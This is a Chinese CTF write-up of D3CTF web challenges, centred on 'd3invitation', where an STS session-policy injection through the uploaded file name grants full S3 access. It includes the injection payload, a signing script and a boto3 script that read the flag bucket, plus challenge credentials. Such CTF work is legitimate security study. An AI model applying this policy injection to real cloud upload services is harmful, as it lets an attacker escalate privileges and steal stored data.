d3ctf-web复现

d3model

考点:CVE-2025-1550 Keras < 3.9

Exp : https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models

文章复现即可

做该题最困扰我的是无法创建适配的环境进行本地模拟!!!好好复现一次

tidu quic

考点:走私

d3invitation

考点:云安全

该题属于典型的STS题目,采取这种验证方式我们可以得到accessKey、accessKeySecret、STS Token,而我们自身的权限是Token里面的policy字段赋予的

Policy的生成,依赖于 CAM 策略语法

所谓的CAM策略语法,实际上就是一个由version、statement组成的json字符串,其中statement是我们需要给STS临时身份授权的具体策略列表,由核心元素包括委托人(principal)、操作(action)、资源(resource)、生效条件(condition)以及效力(effect)组成的json列表组合而成。

或者说,key和secret,意味着你是一座大楼的租户,而大楼开发商给你的token,意味着你在这一栋大楼里面的权限

这里介绍一个注入:STS注入

STS身份注入攻击

身份注入漏洞一般发生在云租户允许用户去自定义权限字符串(Policy)中的部分元素时存在,例如在对象存储上传时,服务端使用STS进行权限控制,但是又允许用户输入上传的后缀、目录或大小时,会存在问题

通俗来讲,如果服务器返回的token里面的policy部分内容由我们控制,就此,可以产生policy注入~

进入该题:

一个上传图像的界面,试一试抓包~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/genSTSCreds HTTP/1.1
Host: 35.241.98.126:30198
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://35.241.98.126:30198/
Content-Type: application/json
Content-Length: 24
Origin: http://35.241.98.126:30198
Connection: keep-alive
Priority: u=0

{"object_name":"ma.png"}

调用这个api去获取STS临时凭证~注意一下这个请求体的内容即可

我们审计一下tools.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
function generateInvitation(user_id, avatarFile) {
if (avatarFile) {
object_name = avatarFile.name;
genSTSCreds(object_name)
.then(credsData => {
return putAvatar(
credsData.access_key_id,
credsData.secret_access_key,
credsData.session_token,
object_name,
avatarFile
).then(() => {
navigateToInvitation(
user_id,
credsData.access_key_id,
credsData.secret_access_key,
credsData.session_token,
object_name
)
})
})
.catch(error => {
console.error('Error generating STS credentials or uploading avatar:', error);
});
} else {
navigateToInvitation(user_id);
}
}


function navigateToInvitation(user_id, access_key_id, secret_access_key, session_token, object_name) {
let url = `invitation?user_id=${encodeURIComponent(user_id)}`;

if (access_key_id) {
url += `&access_key_id=${encodeURIComponent(access_key_id)}`;
}

if (secret_access_key) {
url += `&secret_access_key=${encodeURIComponent(secret_access_key)}`;
}

if (session_token) {
url += `&session_token=${encodeURIComponent(session_token)}`;
}

if (object_name) {
url += `&object_name=${encodeURIComponent(object_name)}`;
}

window.location.href = url;
}


function genSTSCreds(object_name) {
return new Promise((resolve, reject) => {
const genSTSJson = {
"object_name": object_name
}

fetch('/api/genSTSCreds', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(genSTSJson)
})
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
return response.json();
})
.then(data => {
resolve(data);
})
.catch(error => {
reject(error);
});
});
}

function getAvatarUrl(access_key_id, secret_access_key, session_token, object_name) {
return `/api/getObject?access_key_id=${encodeURIComponent(access_key_id)}&secret_access_key=${encodeURIComponent(secret_access_key)}&session_token=${encodeURIComponent(session_token)}&object_name=${encodeURIComponent(object_name)}`
}

function putAvatar(access_key_id, secret_access_key, session_token, object_name, avatar) {
return new Promise((resolve, reject) => {
const formData = new FormData();
formData.append('access_key_id', access_key_id);
formData.append('secret_access_key', secret_access_key);
formData.append('session_token', session_token);
formData.append('object_name', object_name);
formData.append('avatar', avatar);

fetch('/api/putObject', {
method: 'POST',
body: formData
})
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
return response.json();
})
.then(data => {
resolve(data);
})
.catch(error => {
reject(error);
});
});
}

&object_name=${encodeURIComponent(object_name)}它不会无缘无故放上STS之外的东西,这是提示我们存在注入?

拿到token,解一下码

1
http://35.241.98.126:30198/api/getObject?access_key_id=87G2MLTN18KMU721MPPH&secret_access_key=fpUy7RBSupFBHWvMj4MR%2BJmjqfQ2ISqSlDKPoREg&session_token=eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiI4N0cyTUxUTjE4S01VNzIxTVBQSCIsImV4cCI6MTc0ODgzNzM3NCwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2YldFdWNHNW5JbDE5WFgwPSJ9.nxiF3PIf7ZrSajE9aW7cFkU_jlfX7auvM5uGeTx0UYQ_caEAvxke_T_rvTeP7KE1JHSFCZ5q0hWp2EAgXNJ_Gg&object_name=ma.png

一次解码之后看到(理论上有密钥可以恶意伪造JWT),sessionpolicy,再二次解码,看看具体内容{“Version”:”2012-10-17”,”Statement”:[{“Effect”:”Allow”,”Action”:[“s3:GetObject”,”s3:PutObject”],”Resource”:[“arn:aws:s3:::d3invitation/ma.png”]}]}

注意这个ma.png,是我们可以控制的地方,存在注入,简单试一下,看能不能提权

先测试了一下通过注入来扩展策略的资源(Resources)范围(这个范围只是可以在该存储桶内进行上传下载,实际权限还是不够的)(如果在action范围的话好像要加一些东西我们先简单验证一下)

{“Version”:”2012-10-17”,”Statement”:[{“Effect”:”Allow”,”Action”:[“s3:GetObject”,”s3:PutObject”],”Resource”:[“arn:aws:s3:::d3invitation*“,”arn:aws:s3:::*“]}]}

成功拿到提权的token

但是如何利用这个token去实现操作我有点犯难

目前对云的认识,我知道可以通过url访问,也可以通过命令行连接,但是两个都无头绪,只能跟着tools.js里的逻辑走?

看看其他人怎么做的

deepseek一把梭的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
import hmac
import hashlib
import datetime
import urllib.parse
import requests

#更改为自己通过/api/genSTSCreds获取的
ACCESS_KEY = "PTKZVLPN95ORZHJTBK0D"
SECRET_KEY = "d9QeMbVCgiMUE+EJ1eHfZIZlll+f6qmoL42HQTif"
SESSION_TOKEN = "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJQVEtaVkxQTjk1T1JaSEpUQkswRCIsImV4cCI6MTc0ODYyODI3MSwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2SWwxOUxIc2lSV1ptWldOMElqb2lRV3hzYjNjaUxDSkJZM1JwYjI0aU9sc2ljek02S2lKZExDSlNaWE52ZFhKalpTSTZXeUpoY200NllYZHpPbk16T2pvNktpSmRmVjE5In0.wgYw9JJXuiACRXaZmIh2i-GSVUSEUW1kNLkRenMPpntr4r9DasxvArw0llt1eROVuTiOFR9Z3SSI0xpDzDDlwQ"
MINIO_ENDPOINT = "http://34.150.83.54:30761"

def sign(key, msg):
return hmac.new(key, msg.encode('utf-8'), hashlib.sha256).digest()

def get_signature_key(key, date_stamp, region_name, service_name):
k_date = sign(('AWS4' + key).encode('utf-8'), date_stamp)
k_region = sign(k_date, region_name)
k_service = sign(k_region, service_name)
return sign(k_service, 'aws4_request')

def generate_aws_headers(method, path):
# 获取时间和主机信息
now = datetime.datetime.utcnow()
amz_date = now.strftime('%Y%m%dT%H%M%SZ')
date_stamp = now.strftime('%Y%m%d')
host = MINIO_ENDPOINT.split('//')[1].split('/')[0] # 正确获取主机:端口

# 规范URI编码 (关键修复)
canonical_uri = '/' + '/'.join(
urllib.parse.quote(segment, safe='')
for segment in path.split('/')
)

# 规范查询字符串 (本例中为空)
canonical_querystring = ""

# 规范头部 (按字母顺序排序)
canonical_headers = f"host:{host}\n"
canonical_headers += f"x-amz-date:{amz_date}\n"
canonical_headers += f"x-amz-security-token:{SESSION_TOKEN}\n" # 包含在签名中

signed_headers = "host;x-amz-date;x-amz-security-token" # 按字母顺序

# 规范请求体哈希 (GET请求为空)
payload_hash = hashlib.sha256(b'').hexdigest()

# 构建规范请求
canonical_request = (
f"{method}\n"
f"{canonical_uri}\n"
f"{canonical_querystring}\n"
f"{canonical_headers}\n"
f"{signed_headers}\n"
f"{payload_hash}"
)

# 创建待签名字符串
algorithm = "AWS4-HMAC-SHA256"
credential_scope = f"{date_stamp}/us-east-1/s3/aws4_request"
string_to_sign = (
f"{algorithm}\n"
f"{amz_date}\n"
f"{credential_scope}\n"
f"{hashlib.sha256(canonical_request.encode('utf-8')).hexdigest()}"
)

# 计算签名
signing_key = get_signature_key(SECRET_KEY, date_stamp, "us-east-1", "s3")
signature = hmac.new(
signing_key,
string_to_sign.encode('utf-8'),
hashlib.sha256
).hexdigest()

# 构建授权头
authorization_header = (
f"{algorithm} Credential={ACCESS_KEY}/{credential_scope}, "
f"SignedHeaders={signed_headers}, "
f"Signature={signature}"
)

return {
'Host': host,
'x-amz-date': amz_date,
'x-amz-security-token': SESSION_TOKEN,
'Authorization': authorization_header
}

def list_all_buckets():
headers = generate_aws_headers("GET", f"/")
url = f"{MINIO_ENDPOINT}/"
response = requests.get(url, headers=headers)


if response.status_code == 200:
print("[+] 所有存储桶列表:")
print(response.text)
return response.text
else:
print("[ERROR]")
print(response.text)

# 使用示例
if __name__ == "__main__":
headers = generate_aws_headers("GET", "flag/flag")
# 发送请求
response = requests.get(
f"{MINIO_ENDPOINT}/flag/flag",
headers=headers
)
print(response.text)

AI感很重,可以看看,但感觉冗杂地方比较多,还是自己分析

由于awscil连不上,决定用boto3,上面这个过于复杂

实际boto3很快

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests, os
import boto3
import base64
import json

OSS_ENDPOINT = "http://35.220.136.70:31021"
WEB_ENDPOINT = "http://35.220.136.70:32163"


def GetSTSToken(objname) -> str:
r = requests.post(f"{WEB_ENDPOINT}/api/genSTSCreds", json={
"object_name": objname
})
print(f"GetSTSToken: {r.status_code} {r.headers} {r.text}")
if r.status_code != 200:
raise Exception(f"Failed to get STS token: {r.status_code} {r.text}")
return r.json()


def decodeSessionToken(token: str) -> dict:
try:
token1, token2, token3 = token.split(".")
print(f'{base64.urlsafe_b64decode(token1 + "==")}')
print(f'{base64.urlsafe_b64decode(token2 + "==")}')
policy = json.loads(base64.urlsafe_b64decode(token2 + "==").decode('utf-8'))["sessionPolicy"]
print(base64.urlsafe_b64decode(policy))
except Exception as e:
raise ValueError(f"Failed to decode session token: {e}")


if __name__ == "__main__":
creds = GetSTSToken('*"],"Action":["s3:*"],"Resource":["arn:aws:s3:::*')
decodeSessionToken(creds['session_token'])

```python
s3 = boto3.client(
's3',
aws_secret_access_key=creds['secret_access_key'],
aws_access_key_id=creds['access_key_id'],
aws_session_token=creds['session_token'],
endpoint_url=OSS_ENDPOINT,
)

buckets = s3.list_buckets()['Buckets']
print(buckets)

objects = s3.list_objects_v2(
Bucket='flag',
)['Contents']
print(objects)

flag = s3.get_object(
Bucket='flag',
Key='/flag'
)
print(flag['Body'].read())
```

实际关键在于

1
2
3
4
5
6
7
8
9
creds = GetSTSToken('*"],"Action":["s3:*"],"Resource":["arn:aws:s3:::*')

s3 = boto3.client(
's3',
aws_secret_access_key=creds['secret_access_key'],
aws_access_key_id=creds['access_key_id'],
aws_session_token=creds['session_token'],
endpoint_url=OSS_ENDPOINT,
)

实现了权限提升后的连接

1
2
3
4
5
6
7
8
9
10
s3.list_buckets()['Buckets']#列桶名

s3.list_objects_v2(
Bucket='flag',
)['Contents']#列桶里面的键名

s3.get_object(
Bucket='flag',
Key='/flag'
)#读取对应桶的对应键的内容

拿到flag

d3ctf{l_THInk_WE-H4vE_3nCOUnt3rED_PoL1Cy-INJEctiOn?!2b}

1
2
3
4
5
实际操作注入内容发现,关键实现闭合之后,"]自己可以控制Action与Resource字段
*
arn:aws:s3:::*
这样可以实现最高权限,执行任意方法对所有存储桶
是“覆盖”不会并存

jtar

考点:java